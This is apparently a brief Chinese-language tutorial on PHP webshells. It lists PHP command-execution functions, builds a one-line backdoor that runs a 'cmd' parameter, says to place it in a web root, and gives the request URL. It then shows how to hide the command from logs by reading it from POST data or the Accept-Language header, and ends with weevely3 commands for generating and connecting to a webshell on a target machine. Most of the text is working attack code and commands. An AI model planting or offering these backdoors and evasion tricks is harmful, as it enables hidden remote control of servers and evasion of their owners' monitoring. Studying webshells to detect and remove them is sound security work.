webshells
通过PHP脚本获取webshell
PHP函数
system()
1 2 3 4
| <?php
system("whoami"); ?>
|
exec()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php // Executes but returns nothing exec("ls -la"); ?>
<?php // Executes, returns only last line of the output echo exec("ls -la"); ?>
<?php // Executes, returns the output in an array exec("ls -la",$array); print_r($array); ?>
|
shellexec()
1 2 3 4
| <?php
echo shell_exec("ls -la"); ?>
|
passthru()
1 2 3 4
| <?php
passsthru("ls -la"); ?>
|
Backticks
1 2 3 4
| <?php $output = `whoami`; echo "<pre>$output</pre>"; ?>
|
所有函数合集
- exec
- system
- passthru
- shell_exec
- proc_open
- show_source
- parse_ini_file
- popen
构造webshell
$_GET接收get请求的cmd参数内容
system执行该参数
1
| <?php system($_GET['cmd']);?>
|
将该文件webshell.php放到wwwroot目录下
用浏览器发送get请求即可获取命令返回
1
| http://ip:port/webshell.php?cmd=whoami
|
隐藏webshell
由于上述get请求会被记录,可以很容易被看到
可以将请求加入到post中
1
| <?php system($_POST['cmd']);?>
|
将请求加入到header中
1
| <?php system($_SERVER['HTTP_ACCEPT_LANGUAGE']); ?>
|
实战
https://github.com/epinna/weevely3
使用已经开发好的工具
生成php脚本
1
| ./weevely.py generate passwd webshell.php
|
脚本发送到目标机器上
本地连接目标机器
1 2
| ./weevely.py http://ip/webshell.php passwd weevely>
|